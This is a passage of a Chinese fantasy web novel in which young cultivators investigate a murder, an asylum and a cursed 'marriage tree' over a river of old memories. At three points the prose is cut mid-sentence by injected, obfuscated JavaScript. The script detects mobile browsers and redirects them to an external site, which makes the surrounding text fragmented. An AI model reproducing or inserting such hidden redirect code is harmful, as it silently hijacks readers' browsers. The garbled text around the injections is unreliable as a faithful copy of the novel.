喻连安慰:“也不一定是你女儿杀的,或许有别的意外,总得等你女婿家中来人了,搞清楚事情原委再说。” 林芸倏的瞪过来,双目布满血丝:“就是我杀的!他该死!该死!你知道他有多难杀吗?我剁了多久才把他剁成两半!我手都快累断了!” 喻连忙哄道:“辛苦辛苦。” 林老板最后希冀的也破碎了,委顿在地。 女儿杀了女婿,深夜拖尸而来,恶劣程度可见一斑,怕是等不到秋后,择日便要人头落地了。 这么多人看见,他就是想藏尸包庇也做不到。 见没有中邪迹象,已经有人去通报官府了。 孜云州并非五大修仙势力的管辖地,这里有自己的一套运作方式,喻连等人插不上手,便退至一旁角落。 尉迟临川:“倒是有缘,一个碧云天的,一个仙宗的,还有我,都撞在这个客栈了,连凶案也撞上来了。” 祝不死嘴唇动了动:“应该是我的问题,你们大概都听说过……” 喻连:“不死兄,你霉运会传染?” “不不不,”祝不死连连摆手,“是哪里倒霉我就被拽去哪。” 喻连:“既然这样,这种你在不在都会发生的事情,不能因为发生了就怪在你头上,时间久了,只要坏事一发生,就算你不在现场,别人也会是你什么时候路过坏了他们的运气。” 尉迟临川不知想起什么,冷笑:“与其内省自己,不如怨怪旁人,那么窝囊作甚?活得坦荡些不好么。” 祝不死看了眼他的穿着,委婉说道:“也不必如此坦荡。” 经历了一番折腾,堂堂尉迟皇族的太子香肩美腿全都露在了外面,俨然成了角落一景。 他印象里尉迟这个以国运修仙的皇族,不管男子还是女子,都极其保守,不仅要守身如玉到新婚夜,平日里穿衣也不能露出太多皮肤。 这位太子爷真是个奇葩。 尉迟临川低头看了看自己,确实是该整理一下,他望向喻连:“你还要看吗?” 喻连:“啊?” 祝不死:“啊?” 谢久白:“?” 一句话震死三个人。 尉迟临川坦然说:“方才你一见面就夸我身材好,我很高兴,在皇室里他们看我穿成这样,只会说我放-荡。来,你要不要摸一摸?”说着就朝着喻连靠了过来,胸膛一挺。 垂耳兔忍无可忍,骤然跳起,马上要一脚蹬在尉迟临川脑门上的时候,被喻连一把从空中捞了回来,“不了不了!” 尉迟临川:“哦,好吧。那你现在还要看吗?不看我就去换衣服了。” 喻连抚摸着黑脸的兔子,暗道分魂果真没有本体情绪稳定,放在平时,谢久白估计就是冷淡瞥一眼作罢,哪里会去踹人?实在崩人设。 他赶紧说:“嗯嗯,小心着凉。” 尉迟临川:“多谢关心,下次想看跟我说。” “……”倒也不是关心。 喻连不知为何有点无力,朝他摆了摆手。 快去吧快去吧。 - 衙门捕快到的时候,天色将明。 外头围观的人越来越多,女婿家也来了人,哭天抢地的,恨不得杀了林老板和他女儿,乱糟糟的闹成一团。 等他们要走的时候,喻连道:“等一下。” 捕快回头道:“怎么了?” 喻连:“这位林姑娘和新郎官是前日成的婚,已经过了两日,照理说喜服早该换下了,但他们夫妇二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085660|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却着装依旧,且鞋底沾了泥,我闻了下,像是河里淤泥的味道。” “如今大雪寒天,河早就结了冰,干枯的河床更不会有湿润的淤泥能沾到鞋底,想来他二人是去了什么地方,才会出此变故。” 话音一落,但凡孜云州本地的,全都变了脸色。 女婿家的婆婆目光躲闪。 林老板则是疯了似的冲上去:“你知道他们去了那个地方是不是!”他冲上去厮打,“疯人堂里关了那么多的人你们还不相信,偏要求个命中注定的姻缘好让文曲星投胎,这下好了!!” 衙役怒吼一声,将他们全都制住带走。 看热闹的也随之散去,出了这桩事,住在客栈的不少人都收拾包裹去了别家,店里一时清冷无比。 客栈小二百般留人留不住,唉声叹气。 喻连塞给他一块碎银,问:“小二哥,好像你们都知道他们去了哪里?” 祝不死道:“是啊,林姑娘的疯症与疯人堂又有什么关系?” 客栈小二将碎银塞进袖子,心想倒是很少见到这样和气的仙长,一股脑将孜云州的怪事说了出来。 “我们孜云州有颗姻缘树,据说树龄有好几百年了,求姻缘特别灵,不少年轻人都去树前求姻缘。” “但是就在半年前,地龙翻身,姻缘树掉到了地底下。大家这才发现,原来地底下有个那么大的空间,还有一条地下河!姻缘树就落在地下河的中央,从此再有人想要求姻缘,就得趟过河去。” “谁知道,那些趟过河拜过姻缘的人回来之后,前前后后全都疯了,说是看见了自己命定的伴侣,看见了过去的仇人,还有说其实自己是个富家哥该娶公主的,闹着要绝婚,为此自杀跳河的数不胜数。” 喻连:“这般严重,官府不禁止?” “第一是没法禁,姻缘树就在与枫谷,但却不是人人都能见得到的,”客栈小二,“第二是禁不住,总有人耐不住通过姻缘树鉴定的有情人能诞下文曲星,让家族兴旺的谣言,要去试一试。” “想来我家小姐和她郎君,就是受了她婆家的鼓动,这才去了与枫谷,最后闹出这般惨事。” 喻连:“不是人人都能见得到的,什么意思?” 客栈小二:“那我就不知道了,孜云州的其他人也不清楚。总之就是有人去看能看到,有人去看看不到。” 他细细说完,就去擦洗店里的血迹去了。 喻连掏出宗门任务记录手册,将所见所闻一一记录。 他若有所思:“孜云州姻缘树半年前就挂在仙宗奇事探寻榜上了,上面只是说,孜云州有一颗姻缘树,能窥人情丝因果,探人情假情真。我还真不知道地龙翻身后姻缘树成了疯人树。” 祝不死说:“那我们碧云天的任务更迭速度比你们快,只是我接的任务是研究疯人堂病人的疯症根由,如今看来也跟姻缘树有关了。” 换好衣服后,不知为何绷着脸在客栈走了好几圈的尉迟临川过来,皱眉说:“恐怕不止姻缘树,这客栈也同样邪乎。” 喻连:“怎么,尉迟兄有发现?” 尉迟临川说:“我回去换衣服的时候,发现床上的被子没了。仔细一想,我听见动静冲出来的时候,身上似乎就没盖被子,那必然是有人趁我睡着,偷走了我的被子!能在我眼皮子底下偷东西还不被我察觉,肯定修为了得。” 祝不死震惊了:“怎么这样,居然只偷了被子!” 喻连完全没印象自己起床时盖了几床被子,也震惊了:“什么人啊,居然连被子也偷。” 尉迟临川冷哼一声,断然:“这客栈,必有邪佞!” 10.第 10 章 然而他们三人将客栈里里外外搜了个遍,各种探查法术都用上了,也没瞧见一点邪佞踪迹。 在祝不死第六次摔下楼梯之后,他们终于暂停了寻找。 喻连敬畏道:“不死兄,你的名字真没取错。” 活到这么大简直就是奇迹…… 祝不死虚弱谦让道:“哪里哪里。” “哪里还没有找?”尉迟临川百思不得其解。 垂耳兔站在喻连左肩假寐,一直淡然的闭着眼。 喻连揣起袖子:“还是先说说姻缘树和疯人堂的事吧。” 谈到正事,三人都正色起来。 祝不死:“我和喻道友来孜云州的目的殊途同归,那尉迟道友你呢,为何而来。” 尉迟临川眼神飘忽一瞬:“在帝川待的无聊,随便出来逛逛。” 尉迟皇族所在的帝川州距离此地甚远,堂堂一介太子,随便逛逛能逛到这里? 喻连眉梢一挑,刚想说什么,祝不死轻轻拦了他一下,对尉迟临川笑说:“那不如随我们一起,先去疯人堂看看?” 尉迟临川矜持点头:“自然可以。” 孜云州主城叫不知春,是因这里一年从头到尾都是红枫燃遍、凉意萧瑟的秋色,而自打进了一月,不知春却开始下起了大雪。 秋景掩没在苍茫雪色之下,偶尔行人路过,满脸哀愁。 雪停停落落下了二十八天,对修士来说没什么,对生在这里的凡人来说,早已是雪灾。 一路走过来,喻连心头不由得沉重几分。 谢久白注意到他的情绪,微微侧目。 见少年频频回头看那些衣衫单薄,形容愁苦的凡人,祝不死了然道:“喻道友很少出宗历练?” “不死兄叫我喻连就好。”喻连点头,“师父和师伯不愿让我出远门,我基本都在宗门待着,确实很少出门,也……很少看见这样的凡人。” 他又回头看了一眼。 祝不死:“五大仙门庇护下的五大州都有风雨不调,天灾难消的时候,何况不在仙门庇佑下的孜云州。世人生老病死是常态,修仙者也难免俗,人人都有自己的命途,想太多、管太多只会自扰道心。” 尉迟临川:“你师门管你也太严了些,我们其实早就听说过你,奈何一直没机会见到。” 喻连好奇:“听说过我什么?” 祝不死斜睨:“听说你是此代五大仙门天骄之首。” 尉迟临川摊手:“听说你一只手就能将我等镇压。” 祝不死摇头:“听说你强令你宗门师弟师妹叫你老大,见面需三拜。” 尉迟临川叹道:“听说你风靡万千俊男靓女是千年祸害,令佛子脱衣。” 喻连:“…………” 谢久白:“……” 他徒弟连面都没在外面露过几次,哪里来的这么多谣言。 尉迟临川将胳膊搭在喻连肩膀上,站在左肩的垂耳兔被这条胳膊挤得差点掉下去。 他挑眉道:“原来我是不信的,看见你这张脸的时候倒是信了最后一条。至于只手将我等镇压……什么时候比试比试?” 喻连惊呆了:“什么跟什么啊,都从哪里听来的。” 前两句还算像话。 尉迟临川还想说什么,手背却突然一疼。 他嘶了声,缩回手,手背上一道白痕,没破皮:“这兔子打我。” 谢久白冷冷垂眸,半个眼神都没给尉迟临川,不知从哪掏出个手帕,在喻连肩膀处的衣服上擦来擦去,擦完衣服开始擦自己的爪子。 尉迟临川震惊:“它是不是抓了我还嫌我?” 喻连十分不好意思地代兔子道歉:“这是我师伯派来保护我的灵宠,我不好管的,它可能是你占了它的位置,不好意思啊临川兄。” 尉迟临川:“……” 祝不死忍笑,“好了,前面就是疯人堂——” “小心!” 喻连抬手,挡住了朝祝不死迎面飞来的一颗破石头。 “……”祝不死抚了抚自己的心口。 三人抬头望去。 只见疯人堂漆黑的大门敞开,门外一个男子拽着个约莫五六岁的小姑娘,跪在门外雪地里磕头,“堂主,堂主,求求你了,你看看她,她真的是疯子,你赏她一口饭吃就行!” 那堂主啐了一口唾沫:“当老娘这里是收容所呐!连天下雪不停,你们庄稼死在地里了,我们这里也没多余的粮,滚滚滚!” 谁料那男子狠狠嗑了两个头之后,将那小姑娘猛地往堂里一推,转头就跑。 堂主想追出去,却被大哭的小姑娘抱住了脚。 “求求你…求求你……” 堂主想骂骂不出口,对着拽住她脚小姑娘说:“多一个人就多一张嘴,你想活,我们也想活啊!” 喻连快步过去,拱手道:“堂主。” 堂主没好脸色的对他说:“上别处讨饭去。” 喻连掏出几块碎银:“好姐姐,跟您打听些消息,能不能容我们进去稍坐?” 堂主顿住,道:“那你这银子可给太多了,怎么,看这丫头可怜,怕我不收她?” 啜泣惊惧小姑娘抬头,只见那给堂主银子的大哥哥笑了笑,对着她眨了眨左眼:“实则还因我朋友是个大夫,立誓寻遍天下怪病,想进去瞧瞧那些疯了的病人。” “进来吧。”堂主终是收了喻连的银子,面色和缓不少,抱着小姑娘进了疯人堂。 小姑娘在堂主臂弯里擦擦眼泪,呆呆地往后看,那位大哥哥转身冲着他那两位朋友挥手,一身黑色劲装,下摆的烈火莲云纹在旋身间,真像一朵在寒天雪地里灼灼绽放的火莲。 喻连:“快过来!” 尉迟临川远远抱着胸,脑袋微微朝祝不死侧了侧:“喂,看他那样子,完全没有将你刚才说的放在心上。” 祝不死似乎在愣神,许久才堪堪从那一抹灼色上移开眼,低下头,也不知道尉迟临川说了什么,含糊应了两声。 他其实很早就认识喻连,只是没想到喻连是这么有生命力的模样。 - 疯人堂。 这段时间过不下去的人家实在太多,喻连等人来到安置小孩的地方一看,加上新来的小姑娘,已经有九个孩子了,大半都是小姑娘。 安置房里冷冷,孩子们有编草鞋的,有捡豆子的,虽然很瘦,但都干净整洁,想来是得到了妥帖照顾的。 堂主叹了口气,方才在外面泼辣骂人的模样消失不见:“你不给我银子,我也会把小姑娘接进来的。” “衙门给那些疯子的米粮都是有限的,我从他们口中省出米粮来喂这些孩子,原也快撑不下去了,多了这些钱,她们未来几个月能好过些。可若雪还是不停,怕都得饿死,就在昨天,已经冻病死了一个孩子了。” 主城都这样,更别说孜云州其他地方了,怕是冻死饿死的不知凡几。 喻连因为帮到了人而隐隐雀跃的心情重新低落下来。 安置房和病人房一个东一个西,去病人房的路上没人说话,沉寂得很,尉迟临川和祝不死的神色看起来也不是太好。 病人房跟牢房没有太大区别。 木栏杆死死围住约莫二十个人,沉默不语的、大叫大笑的、有攻击性的单独关在小笼子里,没有攻击性的住在大通铺。 祝不死站在栏杆外,无数细细的红线从他指尖飞出,圈在病人们的手腕上,他张开的五指攥紧。 病人们倏然同时一静,被定住了般一动不动。 紧接着,他们身体穴窍闪着青光,祝不死闭上了眼。 许是这里气味太杂,喻连闻到了一股淡淡的恶臭,他不由得退开几步。 尉迟临川:“怎么了?” 喻连:“你没闻到淤泥腐烂的味道吗?” 尉迟临川:“哪有臭味儿。” 祝不死红线一收,皱眉道:“全都是神思在一瞬间受到严重摧残,奇怪的是,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089669|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没在他们体内探查到力量残留的痕迹。” 尉迟临川:“祝不死,你闻到臭味了吗?” 祝不死愣了下,药修嗅觉更灵敏,仔细闻了闻后:“好像是有一点。” 喻连已经转身出去了,翻身越过游廊,他站在院子里嗅闻气味来源,片刻后忽的抬头,朝着病人房的屋顶看去。 尉迟临川和祝不死紧随其后,望向房顶的时候并未发现异常,很快他们反应过来,跟喻连一样用了瞳灵术。 “……好黑的一团气。”尉迟临川道,“怨、怒、喜、悲…如此混杂浑浊,这到底是什么?” 祝不死:“怪了,一般邪气绝对逃不过我们的探查,这到底是什么东西,没有一点邪意,却如此怪异。” 谢久白目光望去。 小辈见识少点不认得,他却认得。 这是七情六欲之气。 三百多年前,集五大仙门之力共同封印的冥主,就是以七情六欲之气为食。 是人就会有欲望,天地间有七情六欲之气不奇怪,但一般很快就会散去,不会聚集。 就算因为某些缘由聚集了,也不会散发出陈年腐朽的味道…… 孜云州怎么会有这种东西出现? 那盘旋在病人房上的黑气打了个转,忽的朝着西北方向掠去。 喻连眸光瞬间亮起:“追!” 语罢化作一抹流光急急追去,灵力飚起来的雪沫呼了两人满头满身。 “……”尉迟临川抹了把脸,不理解:“他怎么这么兴奋?” 祝不死拍拍他的肩膀:“他没怎么出过门,按照凡间算法都没成年,还是小孩呢。” 两人都是历练老手,对视一眼,紧紧追了过去。 - 与枫山谷。 还没落的枫叶如火托着洁白的雪,山谷两壁斜斜伸着青松。 黑气飞至山谷中央,在一处大坑盘旋片刻,蓦地冲了下去,消失不见。 喻连追到了这里,站在大坑边缘往下望,只见下面是一处不知道多大的地下空腔。 他正打算下去看看,却听见一道低沉的声音:“你,不要,再,下去了。” “谁?!” 清渠猛然飞出,直击右侧悬壁。 铿锵!一声,击在了剑鞘上。 竹棍在空中回旋,重新落回主人手中。 喻连眯眼抬头。 一道人影从崖壁的青松后一跃而下,他二十来岁的模样,一身山水墨色渐变劲装,长发低束在脑后,背着一把重剑,眉目如远山清淡,下半张脸带着银黑色的面具。 那束发用的发带被喻连的剑气划断,从青年发尾落下,束好的头发缓缓散开。 “下面什么,都,没有。” “让开!让开!”祝不死惊恐的声音从高空传来。 喻连只来得及闪避,回头就看见祝不死踩着剑一头栽进了那硕大的地下空腔中。 “……” 喻连忍不住扶额。 尉迟临川落在喻连身侧,他没理祝不死,直直看向出现在这里的陌生青年,视线扫过青年背着的重剑,又在他面具上停留了片刻: “问苍剑冢,九穗痴?” 重剑青年沉默捡起自己被割断的发带,“嗯。” 喻连知道他,问苍剑冢地处极寒,条件艰苦,素来人脉凋零,弟子基本都是单传,追求剑道极致,每一代穷得可怕的同时也都强得可怕。 这一代问苍剑冢的少主原叫九穗禾,但传言他天生神魂不全,小时候除了练剑,其他方面都痴痴呆呆的,所以就有了个诨名,叫九穗痴。 渐渐地,大家就都叫他九穗痴了。 喻连眼底闪过一抹奇异之色。 辅助系统上出现了九穗痴的个人面板,却是这样的: 【姓名:九穗禾(痴) 身份:*%¥*¥……¥ 介绍:……%¥&*……¥# 命运修复值:???】 11.第 11 章(捉虫) 夜色降临。 与枫谷。 枫树下,篝火噼啪燃烧。 四人一兔一火围着火堆而坐。 至此,谢久白-精心挑选的徒婿人选算是到齐了。 一个放浪过头的二傻子,一个性格稳定温和的霉神,一个沉默寡言的结巴。 霉神在给自己上药:“我掉下地下空腔的时候看了一圈,里面干干净净什么也没有。怪不得九穗痴不让喻连下去。” 二傻子说:“修炼了这么多年居然还会从剑上摔下来,实在是丢修士的脸。” 结巴没说话。 谢久白一直在沉默。 《五大仙门天骄手册·单身无道侣·男版》真的不是这几个小子家里人给他们买的宣传推广吗? 喻连也没说话,默默朝火堆挪动,近一点,再近一点。 出来的时候没想到会留在外面,他没带丸药出门,现在他醒着可以运转灵力,虽能驱寒,也不冷,甚至他手脚都是温热的。 但身体处在这种环境下,给他的反馈就是很冷。 火老大打着哈欠从喻连经脉中钻出来,老老实实窝在他怀里,尽职尽责的当个小暖炉,时不时对着他的手指吹气。它还把垂耳兔的耳朵扯得老长,绕着喻连的脖颈打了个结,当做围脖。 一只带着金属护指的手挡在了喻连膝盖前,九穗痴低沉但磕绊的声音响起:“不要,往前。火会,烫到你。” “谢谢。”喻连抱紧了膝盖,往外挪了一点。 他盯着篝火一会儿想黑气的事,一会儿发呆,下巴压在膝盖上,脸被火光映得像是块无暇的暖玉。 忽然,肩膀上压了件染着淡淡药香的厚重披风。 喻连微愣,抬头。 祝不死走到了喻连右侧,挡住了山谷涌来的幽冷微风。 对上喻连略有疑惑的眼神,他微微一笑。 ——他其实很早就认识喻连。 喻连的身体情况,除了他亲近的长辈之外,就只有碧云天极少数人知晓。而祝不死的师尊陶玲仙君,就是当年研制出缓解喻连心疾丹药的人。 最初的丹药疗效不是很好,祝不死虽然气运极差,但药理天赋出众,陶玲仙君研制新药方的时候,祝不死会在旁帮忙。 这几年丹方又改了不少版,除了最后成丹那一步,他几乎全然接手了喻连这个只存在在病历上的病人。 喻连算是他接手治疗最久的病人。 他知道喻连身为仙宗天骄,却体质有异,较寻常修士孱弱许多,他了解喻连的身体,更甚于喻连自己。 客栈是他们第一次正经见面。 他在病历上看了十二年的人,并不是如他想象中和其他病人一样的苍白病气,阴郁冷淡,而是如同一株被照顾得很好的药草,气质纯然,活泼热烈,本性自在。 少年拢紧了披风,半张脸都埋了进去,眼珠漆黑透亮,只露出上半张白生生的脸,像某种探出洞穴的小动物。 喻连虽然不理解祝不死为何会这般照顾他,但还是很礼貌地说了句:“谢谢。” 祝不死说:“不客气。” 尉迟临川看了半天,道:“有这么冷吗?” 他怎么想就怎么做,探身过来抓住了喻连的手。 一时间谢久白、祝不死、九穗痴视线全都看向了他。 尉迟临川摸了摸,感受了下喻连手心的温度,嘀咕:“也不凉啊。”嘀咕完了还是站起来,挪到了喻连正后方。 转过身后他一顿:“不是,你们看我干什么?” “……” 没人说话。 尉迟临川莫名其妙。 怎么,喻连年纪最小,也没出门历练过,稍微照顾下不是应该的?祝不死都能换个位置给他挡风,他为什么不行? 看他作甚,有病似的。 尉迟临川大大方方坐下。 九穗痴在左,祝不死在右,尉迟临川在后,至此最后一个方位的寒气也被挡住了,喻连半点寒风都吹不到。 喻连缩在祝不死的披风里,在仙宗里从小被爱护大的,被人照顾也没觉得有什么。唯一不自在的就是,这些人都是他同龄人,他们都待在雪地里,只有他被护得严严实实—— 这样显得他很弱啊! “多谢。是我修炼功法特殊,身体对冷热环境敏感。” 他得找个借口,总不能叫人知道他堂堂仙宗年轻一辈第一人怕冷又怕热,不然那群见了他就激动哇哇大叫大师兄小师叔的同门还怎么拿他出去跟别宗弟子炫耀? 怪丢面子的。 祝不死嘴角弯了弯,顺坡说话:“嗯。修士千千万,道法千千万,这很正常。” 他转而望向九穗痴,“少主早就知道下面什么也没有,想必比我们来的都早,不知道你有没有看见黑气?” 九穗痴摇头。 尉迟临川:“那我们就在这里死等?” 喻连:“有什么办法?孜云州的人也不知道具体如何看见姻缘树。姻缘树变疯人树,左右不是好东西,不死兄在这里,我们总能看见的。” 祝不死:“……” 尉迟临川:“说的也是。” 氛围一时静谧下来,只余下篝火噼啪声。 喻连把打结的兔子耳朵解开,揉了揉后抱在怀里。 耳朵被揉的异样酥痒传来,谢久白回神,有些不适,想跳走躲开,却被紧紧搂在怀里:“小白别动,我抱着你暖和些。” 谢久白只想把自己的耳朵解救出来,片刻后听得少年一声‘啧’。 他一顿,也不与喻连抢自己的耳朵了,忍住那酥痒之意,微微叹了口气。 算了。 喻连满意了。 祝不死:“喻连,你怎么会接姻缘树的任务?这任务在你们宗门挂在奇闻那一块,以你的实力,接这种任务,岂不是大材小用。” 喻连:“姻缘树据说能窥人情丝因果,还能找到另一半的命定之人,我好奇也…也很正常吧。” 尉迟临川:“你不会是有喜欢的人了吧?” 喻连:“是啊。” “啊?” “真的啊?” 谢久白抬眼。 喻连是他一手养大的,后来来到仙宗,又同他在孤渺峰上住了十二年,基本没有分开过,要是喜欢什么人,定瞒不过他。 他怎么不知道自己徒弟有喜欢的人? 喻连耸肩:“有什么好奇怪的,只是我喜欢的那个人不喜欢我,我接了这个任务,只是想问问姻缘树,我跟他有没有在一起的可能。” 说完,少年抬头看了一圈这几人的表情,慢慢将头埋进兔子背里,肩膀一耸一耸的。 祝不死明白了:“他逗我们的。” 喻连大笑:“开玩笑的啦!我宗门都没出过几次,怎么会有喜欢的人呢。” 尉迟临川往后一仰,“……无聊,还是睡吧。” 九穗痴依旧沉默寡言,静静看着虚空出神。 夜色渐浓,几人有的打坐调息御寒,有的昏昏欲睡。 月上中天之时,淡淡的雾气从山谷中弥漫而来。 喻连打了会儿盹,感觉才过了没多久,就听见有人叫他:“喻连!醒醒!” 他一睁眼,看见祝不死严肃的神情。 喻连瞬间清醒:“怎么了?” 祝不死:“尉迟临川不见了。” 喻连:“不见了?” 九穗痴指了下地面:“脚印。” 是尉迟临川的脚印。 三人顺着脚印一路来到了山谷中央的大坑位置,脚印就消失在这里。 白天往里看还什么都没有的地下空腔,此时再往下看,百米之下,能望见一条磅礴的大河贯穿南北。 而大河中央,有一颗枝杈妖娆的大树,在黑色的雾色中影影绰绰。 喻连:“这恐怕就是孜云州人说的姻缘树。他不会被黑雾吸进去了吧?” 垂耳兔跳到大坑边缘,指指自己的眼睛,指了指脚印,最后指了指大坑。 喻连:“小白你是说他是自己进去的?你还看见了?” 垂耳兔点头。 祝不死道:“还记得我们问他为何来孜云州时,他的神情吗?他恐怕是有自己的目的,尉迟皇族太子,我们不必太担心。” “要下去一探吗?” 喻连:“来都来了,肯定要下去。” 九穗痴不解:“你们,在说,什么?没有树。” 喻连:“你看不见姻缘树?” 九穗痴摇头。 喻连:“那——” 一股黑雾骤然上涌,勾住了喻连的腰,猛地朝下面一拽! 谢久白只来得及抓住喻连的小手指。 只是眨眼,少年消失不见,谢久白面色一冷,毫不犹豫地跟着跳了下去。 祝不死:“喻连!” 他肃然回头,对九穗痴道:“我也下去了,你看不见也好,在这里守着。” 大坑边缘只剩下了九穗痴一人,从他的视角看,地下空腔仍旧空无一物,跳下去的人顷刻间气息就消失了。 青年抿唇许久,最终盘膝而坐,双手掐诀,巨大的防御剑阵和寻踪法阵缓缓降临,一层又一层,笼罩了整个山谷。 - 喻连睁开眼。 周围的环境完全变了个模样。 冰冷寒气充斥在整个地下空腔中,他站在一条黑色大河的岸边,河中央就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098498|194890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是那颗姻缘树。 说是大河并不妥当,因为这条河并没有水,只有一层散发着腥味的黑色河泥在缓慢流淌。 而这条河中,竟站着不少穿着各种衣服的男女老少,有的已经变作腐朽枯骨,空荡荡的衣服随风飘荡。 他们在疯人堂看见的黑色雾气,就在河泥里滚动翻涌,犹如细小的黑蛇。 “小白?尉迟临川??”喻连喊了几声,回音空荡,没有人应。 他运转了一圈灵力。 此处无法御空,体内灵气也沉滞非常。 喻连沉思。 他明明看见谢久白跟他一起跳进来的,难道这里还有多个空间不成? 不过,他来到这里的目的,就是探查谢久白的情丝因果,不在他身边也好,方便他单独行事。 但需尽快,依照谢久白的实力,恐怕不需太久,就会找到他。 “真是邪门。老大!” 火老大:“在!”它跟喻连是一体,跌进来的时候没有分开。 喻连甩了甩手中的竹棍,灼灼炽火划出一道弧线,就算没有灵力,伴生之火也依旧万邪莫近。 “跟紧我,咱们去河里探路。” 他一脚踩进黑色的河泥中。 黑雾疯了一般朝着喻连涌去,夹杂着怪异痛苦的嘶吼,喻连只觉得神魂一瞬间受到冲击,大脑在瞬间涌入许许多多人的、无数纷杂混乱、不属于他的记忆。 “给我死!” 火老大驱赶着黑雾。 喻连打了个响指,半透明的火莲将他层层围住,刹那间神思清明。 这条黑河着实怪异。 喻连继续往姻缘树走,伴生之火护持,这次他很顺利就走到了树下。 是一颗槐树,树枝上挂满了叮叮咚咚的木牌和摇摆的红布条,全都是互相心悦之人的美好祝愿。 “半年了,你是第一个真正走到忘川河中央的人。”有道佝偻的、半透明的老妪身影从树后走出,两只绿莹莹的浑浊双眼掩藏在枯乱的发丝下。 火老大警惕望过去。 喻连:“忘川河?你说这条大河是忘川河?” 如今世间早已没有轮回,人死魂消,无法转世轮回。 所谓轮回忘川,早就在万载之前破灭了,怎么可能还会有忘川的存在? 老妪:“只是忘川的残骸罢了,真正的忘川早已破灭。你看见那河里的黑气了吗?是万载遗留的已经腐朽的七情六欲浊气,混杂着万年前走过忘川的无数魂魄的记忆,没有强大的神魂,被那些混杂记忆冲击,非死即疯。” 喻连想到了疯人堂的疯子,和祝不死的诊断。 倘若老妪所说为真,恐怕那些疯掉的人,都是在一瞬间被庞大记忆冲击,分不清自己的记忆和别的记忆,才变成了疯子。 孜云州半年来的异样,竟跟忘川河残骸的出现有关。 喻连:“这半年来,来到这里的人……” 老妪倏的闪身出现在喻连面前,脸几乎贴着脸,喻连瞳孔蓦然放大。 火老大一口火喷出去,火焰却穿过了老妪的身体,没有造成丝毫损伤,而老妪却抓住了喻连的手腕,瞬息间就拉着他到了姻缘树后。 火老大惊道:“阿连!” 喻连猛地甩开老妪的手,直直往后退了两步。 老妪:“别紧张。你看。” 姻缘树的后面有颗约莫四尺高的石头,上面裂痕密布,阴冷的寒气几乎化作实质,沉沉地涌入孜云州地脉。 好冷。 那一层层的冰霜想往喻连身上攀爬,却反被他脚下蔓延的火焰驱散。 “原本的姻缘树只是有些灵性而已,但半年前地动,这棵树落了下来,意外和转生石连接在了一起,倒是真的能探人情缘因果了,不过,只有心有执念的人滞留在此地,才能感应到它,看到它。 半年来,有不少有情人来到这里,看到了姻缘树,被七情六欲的浊气勾下来,他们想淌过忘川河求姻缘顺遂,可凡人之躯,连走到姻缘树前都做不到。最终都被忘川河里遗落的记忆冲击疯了,忘了自己是谁,迷失在许许多多忘川残魂的记忆中。” 她语气淡淡,看样子并无恶意,喻连却没有放松警惕。 “忘川为何会出现在这里,你又是谁?我们素不相识,你与我讲这许多,有何目的?” “我不知道忘川河为何会出现在这里,半年前,我的意识一直是浑噩的,至于我是谁……”老妪沉默片刻,忽然笑了,“哈哈哈哈……我是谁……我是谁??我是……” 她抓着自己乱糟糟的长头发,慢慢梳理了一下,没了头发的遮挡,喻连这才注意到她的胸前有个拳头大小的空洞—— 她没有心脏! 12.第 12 章 喻连眼睛睁大,“你……” 老妪出现在他身后,一只手搭在喻连肩膀上,嗅着他身上的气息,叹息般幽幽道:“孩子,我是你的同类啊。” 少年皱眉不解:“你什么意思?谁跟你是同类?” 老妪微微疑惑:“你不知道。” 喻连:“我该知道什么?” 不就是大家都是天材地宝化形么?他猜到老婆婆的意思了。 不过按照目前人设来说,他记忆被师父封印,不记得五岁前的事情,自然也不晓得自己从何处来,只知道自己是被师父从沧山捡来的孤儿。 老妪望着他的眼睛,虽然里面的警惕挥之不去,但掩不住眼底那丝未被世俗染浊的澄澈。 她疯疯癫癫的哈哈大笑。 笑了许久,她却温和了下来,道:“小娃娃,你的眼睛真漂亮,老太婆我从前也是这般。说吧,来这里干什么?我看你顺眼,帮你一帮。” 喻连对老妪的身份有所猜测,心中有了计较。 少年面上的警惕逐渐变成了犹疑:“这颗姻缘树,如今真的能探人情丝因果么?能看自己的,也能看别人的?” 老妪道:“你要看别人的,得有别人的血、头发或者骨骼。但轮回石残缺将废,就算跟姻缘树结合了,也只能窥见一鳞半爪,看到未来,看到过去,都有可能。” 喻连:“那你背过身去。” 老妪:“不让看?” 喻连:“这是隐私。” 老妪揣着袖口飘到了旁边,慢悠悠打了个哈欠。 见她走远,喻连让火老大警戒,自己则从贴身放着的储物袋中掏出另一个储物袋,再从这个储物袋中掏出个锦囊,锦囊打开是个精致木盒。 木盒里是一根银灰色的头发。 